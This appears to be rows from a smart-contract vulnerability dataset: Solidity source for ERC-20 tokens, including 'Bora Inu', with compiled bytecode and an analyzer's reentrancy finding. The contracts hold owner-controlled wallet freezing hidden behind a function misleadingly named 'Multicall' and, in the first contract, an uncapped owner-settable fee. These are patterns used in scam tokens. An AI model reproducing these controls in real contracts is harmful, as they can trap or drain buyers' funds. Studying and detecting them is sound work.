}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ab57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611950565b6105f6565b005b34801561020a57600080fd5b5060408051808201909152600681526504275726e20360d41b60208201525b6040516102369190611a15565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a6a565b610695565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50683635c9adc5dea000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611a96565b6106ac565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610236565b34801561032b57600080fd5b5060155461028f906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ad7565b610715565b34801561036b57600080fd5b506101fc61037a366004611b04565b610760565b34801561038b57600080fd5b506101fc6107a8565b3480156103a057600080fd5b506102bf6103af366004611ad7565b6107f3565b3480156103c057600080fd5b506101fc610815565b3480156103d557600080fd5b506101fc6103e4366004611b1f565b610889565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ad7565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b031661028f565b34801561045657600080fd5b506101fc610465366004611b04565b6108b8565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b50604080518082019091526002815261042360f41b6020820152610229565b3480156104b757600080fd5b506101fc6104c6366004611b1f565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b38565b61092f565b3480156104f757600080fd5b5061025f610506366004611a6a565b61096d565b34801561051757600080fd5b5061025f610526366004611ad7565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b6a565b6109ce565b34801561057c57600080fd5b506102bf61058b366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b1f565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ad7565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c27565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c88565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611da0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c27565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c27565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c27565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c27565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c27565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c27565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c27565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c5c565b9050602002016020810190610a2f9190611ad7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c88565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c27565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c27565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611ca1565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a698484848461145a565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611cb9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611488565b90506112d983826114ab565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c5c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190611cd0565b816001815181106113b8576113b8611c5c565b6001600160a01b0392831660209182029290920101526014546113de9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611417908590600090869030904290600401611ced565b600060405180830381600087803b15801561143157600080fd5b505af1158015611445573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611467576114676114ed565b61147284848461151b565b80610a6957610a69600e54600c55600f54600d55565b6000806000611495611612565b90925090506114a482826114ab565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611654565b600c541580156114fd5750600d54155b1561150457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061152d87611682565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061155f90876116df565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461158e9086611721565b6001600160a01b0389166000908152600260205260409020556115b081611780565b6115ba84836117ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ff91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061162e82826114ab565b82101561164b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116755760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611d5e565b600080600080600080600080600061169f8a600c54600d546117ee565b92509250925060006116af611488565b905060008060006116c28e878787611843565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061172e8385611ca1565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b600061178a611488565b905060006117988383611893565b306000908152600260205260409020549091506117b59082611721565b30600090815260026020526040902055505050565b6006546117d790836116df565b6006556007546117e79082611721565b6007555050565b600080808061180860646118028989611893565b906114ab565b9050600061181b60646118028a89611893565b905060006118338261182d8b866116df565b906116df565b9992985090965090945050505050565b60008080806118528886611893565b905060006118608887611893565b9050600061186e8888611893565b905060006118808261182d86866116df565b939b939a50919850919650505050505050565b6000826000036118a5575060006106a6565b60006118b18385611d80565b9050826118be8583611d5e565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561194b8161192b565b919050565b6000602080838503121561196357600080fd5b823567ffffffffffffffff8082111561197b57600080fd5b818501915085601f83011261198f57600080fd5b8135818111156119a1576119a1611915565b8060051b604051601f19603f830116810181811085821117156119c6576119c6611915565b6040529182528482019250838101850191888311156119e457600080fd5b938501935b82851015611a09576119fa85611940565b845293850193928501926119e9565b98975050505050505050565b600060208083528351808285015260005b81811015611a4257858101830151858201604001528201611a26565b81811115611a54576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7d57600080fd5b8235611a888161192b565b946020939093013593505050565b600080600060608486031215611aab57600080fd5b8335611ab68161192b565b92506020840135611ac68161192b565b929592945050506040919091013590565b600060208284031215611ae957600080fd5b81356112d98161192b565b8035801515811461194b57600080fd5b600060208284031215611b1657600080fd5b6112d982611af4565b600060208284031215611b3157600080fd5b5035919050565b60008060008060808587031215611b4e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7f57600080fd5b833567ffffffffffffffff80821115611b9757600080fd5b818601915086601f830112611bab57600080fd5b813581811115611bba57600080fd5b8760208260051b8501011115611bcf57600080fd5b602092830195509350611be59186019050611af4565b90509250925092565b60008060408385031215611c0157600080fd5b8235611c0c8161192b565b91506020830135611c1c8161192b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9a57611c9a611c72565b5060010190565b60008219821115611cb457611cb4611c72565b500190565b600082821015611ccb57611ccb611c72565b500390565b600060208284031215611ce257600080fd5b81516112d98161192b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3d5784516001600160a01b031683529383019391830191600101611d18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9a57611d9a611c72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c504a948da571b94acfe7ad9bee0132561c4b10a5af66dc95cf2ae4babe72b4564736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,153 |
0x5b9b67ae256bb1d99cb8bbc6e48ecfb29c9455f4 | /**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Bora is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Bora Inu"; ////
string public constant symbol = unicode"BORA"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146106c4578063db92dbb6146106db578063dcb0e0ad14610706578063dd62ed3e1461072f578063e8078d941461076c576101f9565b806395d89b411461061a578063a9059cbb14610645578063b2131f7d14610682578063c3c8cd80146106ad576101f9565b8063715018a6116100dc578063715018a6146105845780637a49cddb1461059b5780638da5cb5b146105c457806394b8d8f2146105ef576101f9565b806350901617146104dc578063590f897e146105055780636fc3eaec1461053057806370a0823114610547576101f9565b806327f3a72a116101855780633bbac579116101545780633bbac5791461042057806340b9a54b1461045d57806345596e2e1461048857806349bd5a5e146104b1576101f9565b806327f3a72a14610376578063313ce567146103a157806331c2d847146103cc57806332d873d8146103f5576101f9565b80630b78f9c0116101c15780630b78f9c0146102ba57806318160ddd146102e35780631940d0201461030e57806323b872dd14610339576101f9565b80630492f055146101fe57806306fdde03146102295780630802d2f614610254578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610783565b6040516102209190612d91565b60405180910390f35b34801561023557600080fd5b5061023e610789565b60405161024b9190612e45565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612ed9565b6107c2565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612f32565b6108c0565b6040516102b19190612f8d565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190612fa8565b6108de565b005b3480156102ef57600080fd5b506102f86109aa565b6040516103059190612d91565b60405180910390f35b34801561031a57600080fd5b506103236109bb565b6040516103309190612d91565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612fe8565b6109c1565b60405161036d9190612f8d565b60405180910390f35b34801561038257600080fd5b5061038b610bb2565b6040516103989190612d91565b60405180910390f35b3480156103ad57600080fd5b506103b6610bc2565b6040516103c39190613057565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee91906131ba565b610bc7565b005b34801561040157600080fd5b5061040a610cbd565b6040516104179190612d91565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612ed9565b610cc3565b6040516104549190612f8d565b60405180910390f35b34801561046957600080fd5b50610472610d19565b60405161047f9190612d91565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190613203565b610d1f565b005b3480156104bd57600080fd5b506104c6610e9b565b6040516104d3919061323f565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe9190612ed9565b610ec1565b005b34801561051157600080fd5b5061051a610fbf565b6040516105279190612d91565b60405180910390f35b34801561053c57600080fd5b50610545610fc5565b005b34801561055357600080fd5b5061056e60048036038101906105699190612ed9565b611037565b60405161057b9190612d91565b60405180910390f35b34801561059057600080fd5b50610599611080565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906131ba565b6111d3565b005b3480156105d057600080fd5b506105d96113af565b6040516105e6919061323f565b60405180910390f35b3480156105fb57600080fd5b506106046113d8565b6040516106119190612f8d565b60405180910390f35b34801561062657600080fd5b5061062f6113eb565b60405161063c9190612e45565b60405180910390f35b34801561065157600080fd5b5061066c600480360381019061066791